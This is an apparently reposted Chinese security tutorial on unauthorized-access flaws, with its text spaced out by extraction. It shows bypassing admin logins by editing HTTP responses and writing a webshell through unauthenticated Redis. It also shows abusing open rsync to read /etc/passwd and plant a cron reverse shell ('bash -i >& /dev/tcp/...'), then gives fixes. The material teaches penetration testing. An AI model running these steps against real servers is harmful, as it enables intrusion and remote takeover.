搜索

[21970] 2021-05-15_未授权访问漏洞

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2021-05-15_未授权访问漏洞 未 授 权 访 问 漏 洞 L e m o n S e c   2 0 2 1 - 0 5 - 1 5 0 1   W E B 端 未 授 权 访 问 漏 洞 端 未 授 权 访 问 漏 洞 未 授 权 访 问 未 授 权 访 问 漏 洞 可 以 理 解 为 需 要 安 全 配 置 或 权 限 认 证 的 地 址 ， 授 权 页 面 存 在 缺 陷 导 致 其 他 用 户 可 以 直 接 访 问 从 而 引 发 重 要 权 限 可 被 操 作 、 数 据 库 或 网 站 目 录 等 敏 感 信 息 泄 露 。 B / S 架 构 中 一 般 存 在 后 台 界 面 中 ， 访 问 特 定 目 录 下 的 敏 感 文 件 ， 能 直 接 跳 过 管 理 员 登 录 ， 去 访 问 后 台 管 理 内 容 。 C / S 架 构 中 一 般 存 在 默 认 安 装 的 一 些 客 户 端 应 用 程 序 中 ， 安 装 人 员 因 缺 少 安 全 意 识 导 致 攻 击 者 利 用 。 0 2 W E B 端 未 授 权 挖 掘 实 例 端 未 授 权 挖 掘 实 例               查 找 技 巧               1 、 在 访 问 后 台 时 会 在 一 瞬 间 加 载 出 后 台 界 面 ，   这 时 可 以 尝 试 挖 掘 。               2 、 在 后 台 地 址 u r l 中 后 面 输 入 m a i n 脚 本 名 称 ， 看 是 否 有 跳 转 到 后 台 界 面 。               3 、 御 剑 扫 描 器 盲 打               …               案 例 一 ： 返 回 包 改 状 态 码 与 删 除 重 定 向 字 段               案 例 二 ： 删 除 跳 转 标 签               案 例 三 ： J S 拦 截 步 骤 一 ： u r l 里 输 入 h t t p : / / w w w . x x x x . c o m / a d m i n / m a i n . p h p ， 抓 包 ， 改 返 回 包 。 步 骤 二 ： 状 态 码 3 0 2 改 为 2 0 0 ， 删 除 重 定 向 L o c a t i o n 字 段 。 步 骤 三 ： 然 后 我 们 就 可 以 在 后 台 增 删 改 查 内 容 。 步 骤 一 ： u r l 里 输 入 h t t p : / / w w w . x x x x . c o m / a d m i n / m a i n . p h p ， 抓 包 ， 改 返 回 包 。 步 骤 二 ： 删 除 跳 转 标 签 < m e t a   h t t p - e q u i v = r e f r e s h   c o n t e n t = 0 ; u r l = . . / i n d e x . p h p > 步 骤 三 ： 然 后 我 们 就 可 以 在 后 台 增 删 改 查 内 容 。 步 骤 一 ： U R L 里 输 入 h t t p : / / w w w . x x x . c o m . t w / a d m i n / l e f t . p h p ， 发 现 弹 窗 拦 截 ， 判 断 是 j s 拦 截 ， 抓 包 ， 改 返 回 包 。 步 骤 二 ： 删 除 跳 转 j s 标 签 。 步 骤 三 ： 然 后 我 们 就 可 以 在 后 台 增 删 改 查 内 容 。
0 3 客 户 端 未 授 权 访 问 客 户 端 未 授 权 访 问               客 户 端 未 授 权 访 问 ：               R e d i s 未 授 权 访 问 漏 洞   （ 数 据 库 ）               M o n g o D B 未 授 权 访 问 漏 洞   （ 数 据 库 ）               J e n k i n s 未 授 权 访 问 漏 洞   （ w e b 后 台 ）               M e m c a c h e d 未 授 权 访 问 漏 洞 （ k e y - v a l u e 分 布 式 高 速 缓 存 系 统 ）               J B O S S 未 授 权 访 问 漏 洞   （ 中 间 件 ）               V N C 未 授 权 访 问 漏 洞   （ L i n u x 远 程 桌 面 ）               D o c k e r 未 授 权 访 问 漏 洞   （ 开 源 的 引 擎 ）             Z o o K e e p e r 未 授 权 访 问 漏 洞 （ 分 布 式 协 同 管 理 工 具 ）               R s y n c 未 授 权 访 问 漏 洞 （ 数 据 同 步 工 具 ）               E l a s t i c s e a r c h 未 授 权 访 问 漏 洞 （ 搜 索 服 务 器 ）               H a d o o p 未 授 权 访 问 漏 洞   （ 分 布 式 系 统 基 础 框 架 ）               J u p y t e r   N o t e b o o k 未 授 权 访 问 漏 洞 （ 交 互 式 笔 记 本 ）     r e d i s 介 绍 介 绍               R e d i s 是 一 个 开 源 的 使 用 A N S I C 语 言 编 写 、 支 持 网 络 、 可 基 于 内 存 亦 可 持 久 化 的 日 志 型 、 K e y - V a l u e 数 据 库 、 并 提 供 多 种 语 言 的 A P I               漏 洞 成 因               r e d i s 默 认 情 况 下 ， 会 绑 定 在 0 . 0 . 0 . 6 3 7 9 ， 如 果 没 有 进 行 采 用 相 关 的 策 略 ， 比 如 添 加 防 火 墙 规 则 避 免 其 他 非 信 任 来 源 i p 访 问 等 ， 这 样 会 将 R e d i s 服 务 暴 露 到 公 网 上 ， 如 果 在 没 有 设 置 密 码 认 证 （ 一 般 为 空 ） 的 情 况 下 ， 会 导 致 任 意 用 户 在 可 以 访 问 目 标 服 务 器 的 情 况 下 未 授 权 访 问 R e d i s 以 及 读 取 R e d i s 的 数 据 。               漏 洞 利 用 流 程               步 骤 一 ： 这 里 使 用 2 0 0 3 作 为 r e d i s 服 务 端 ， c d 到 所 在 目 录 ， 然 后 使 用 r e d i s - s e v e r . e x e   r e d i s . c o n f 去 运 行 r e d i s 服 务 ， 然 后 我 们 查 看 启 用 是 否 成 功 。               步 骤 二 ： 验 证 客 户 端 是 否 能 连 接 到 r e d i s 服 务 端 ， 这 里 有 两 种 方 法 去 验 证 。               1 、 使 用 本 机 t e l n e t 去 连 接 r e d i s 服 务 端 ， 输 入 i n f o ， 连 接 成 功 。               2 、 也 可 以 c d 到 目 录 使 用 r e d i s 客 户 端 连 接 ， d e d i s - c l i . e x e   - h   i p   - p   端 口 。               步 骤 三 ： 如 果 客 户 端 存 在 网 站 ， 我 们 可 以 直 接 把 W e b s h e l l 写 入 到 网 站 根 目 录 中 。               前 提 条 件 ： 要 获 得 网 站 根 目 录 路 径 。               步 骤 四 ： 客 户 端 连 接 到 r e d i s 服 务 端 ， 并 进 入 网 站 根 目 录 。               1 、 连 接 命 令 ： r e d i s - c l i . e x e   - h   i p   - p 端 口 。               2 、 进 入 网 站 目 录 ： c o n f i g   s e t   d i r   网 站 绝 对 路 径 。               步 骤 五 、 在 网 站 根 目 录 创 建 相 应 的 网 站 脚 本 文 件 ， 并 写 入 一 句 话 保 存 。               1 、 创 建 命 令 ： c o n f i g   s e t   d b f i l e n a m e 文 件 名 称               2 、 写 入 命 令 ： c o n f i g   x   “ 内 容 ”
              3 、 保 存   s a v e 修 复 方 式 1 、 禁 止 一 些 高 危 命 令 （ 重 启 r e d i s 才 能 生 效 ） 2 、 以 低 权 限 运 行 R e d i s 服 务 （ 重 启 r e d i s 才 能 生 效 ） 3 、 为 R e d i s 添 加 密 码 验 证 （ 重 启 r e d i s 才 能 生 效 ） 4 、 禁 止 外 网 访 问 R e d i s （ 重 启 r e d i s 才 能 生 效 ） 5 、 修 改 默 认 端 口 6 、 设 置 防 火 墙 策 略 r s y n c 介 绍 介 绍 r s y n c 是 L i n u x / U n i x 下 的 一 个 远 程 数 据 同 步 工 具 ， 可 通 过 L a n / w a n 快 速 同 步 多 台 主 机 间 的 文 件 和 目 录 ， 默 认 运 行 在 8 7 3 端 口 。 由 于 配 置 不 当 ， 导 致 任 何 人 可 授 权 访 问 r s y n c ， 上 传 本 地 文 件 ， 下 载 服 务 器 文 件 、 但 是 需 要 注 意 的 是 必 须 在 服 务 器 A 和 B 上 都 安 装 r s y n c ， 其 中 A 服 务 器 上 上 是 以 服 务 器 模 式 运 行 r s y n c ， 而 B 上 则 以 客 户 端 方 式 运 行 r s y n c 。 环 境 搭 建 r s y n c 服 务 器 搭 建 系 统 C e n t o s 7 : 1 、 安 装 r s y n c : y u m   i n s t a l l   r s y n c 2 、 安 装 好 后 会 在 / e t c 目 录 生 成 r s y n c d . c o n f 的 默 认 配 置 文 件 。 如 果 配 置 不 当 ， 则 会 造 成 未 授 权 访 问 。 3 、 关 闭 安 全 配 置 s e l i n u x : 4 、 最 后 重 启 系 统 ， 启 动 r s y n c : r s y n c 客 户 端 搭 建 系 统 k a l i : 漏 洞 复 现 ： 客 户 端 连 接 服 务 端 命 令 ： 方 法 一 ： r s y n c :   1 9 2 . 1 6 8 . 1 . 2 4 方 法 二 ： r s y n c   r s y n c : / / 1 9 2 . 1 6 8 . 1 . 2 4 : 8 7 3 / 列 出 模 块 、 跨 目 录 下 载 任 意 文 件 ： r s y n c   1 9 2 . 1 6 8 . 1 . 2 4 : : s r c r s y n c   1 9 2 . 1 6 8 . 1 . 2 4 : : s r c / e t c / p a s s w d   . / 上 传 任 意 文 件 ： r s y n c   x . t x t   1 9 2 . 1 6 8 . 1 . 2 4 : : s r c / h o m e 漏 洞 复 现 ： 反 弹 s h e l l ， 服 务 器 （ 受 害 者 ） 需 要 存 在 计 划 任 务 ， 相 关 命 令 。 s y s t e m c t l   s t a r t   c r o n d . s e v i c e   启 动 服 务 s y s t e m c t l   s t o p   c r o n d . s e v i c e   停 止 服 务
s y s t e m c t l   r e s t a r t   c r o n d . s e v i c e   重 启 服 务 s y s t e m c t l   r e l o a d   c r o n d . s e v i c e   重 启 配 置 文 件 s y s t e m c t l   s t a t u s   c r o n d . s e v i c e   查 看 状 态 c r o n t a b   - l   显 示 c r o n t a b 文 件 （ 显 示 已 设 置 的 定 时 任 务 ） c o n t a b   - e   编 辑 c r o n t a b 文 件 （ 编 辑 定 时 任 务 ） c r o n t a b   - r   删 除 c r o n t a b 文 件 （ 删 除 定 时 任 务 ） c r o n t a b   - i r   删 除 c r o n t a b 文 件 提 醒 用 户 （ 删 除 定 时 任 务 ） 反 弹 s h e l l ， 服 务 器 （ 受 害 者 ） 需 要 存 在 计 划 任 务 ， 相 关 命 令 。 为 了 演 示 ， 我 们 去 靶 机 去 创 建 一 个 计 划 任 务 ： c r o n t a b l e   - e 1   *   * * *   r o o t   c d / & &   r u n - p a r t s   - - r e p o o t   / e t c / c r o n . h o u r l y / / 代 表 每 隔 一 分 钟 启 动   、 e t c / c r o n . h o u r l y   目 录 下 的 文 件 下 载 配 置 定 时 任 务 查 看 ， 上 传 n c 反 弹 的 脚 本 到 计 划 任 务 执 行 目 录 。 然 后 去 攻 击 机 监 听 地 址 监 听 即 可 ， 如 k a l i 下 n c   - - l v v p 反 弹 端 口 ， 计 划 任 务 执 行 后 即 可 拿 到 s h e l l 。 r s y n c   - a v   n c   r s y n c : / / 1 9 2 . 1 6 8 . 1 . 1 1 6 : 8 7 3 / s r c / e t c / c r o n . h o u r l y 客 户 端 （ 攻 击 者 ） 创 建 反 弹 的 脚 本 ： / / 创 建 n c 脚 本 t o u c h   n c / / 文 件 写 入 反 弹 s h e l l 命 令 ！ / b i n / b a s h / b i n / b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 1 1 4 / 3 3 3 3   0 > & 1 修 复 方 式 配 置 认 证 用 户 名 或 者 密 码 控 制 接 入 源 I P 使 用 足 够 但 最 小 权 限 的 账 号 进 行 必 要 时 候 可 以 配 置 只 读 非 必 要 应 该 仅 限 配 置 路 径 下 可 访 问 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 原 文 链 接 ： h t t p s : / / b l o g . c s d n . n e t / n i q i u 3 2 0 / a r t i c l e / d e t a i l s / 1 1 5 3 9 9 9 2 4
“ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理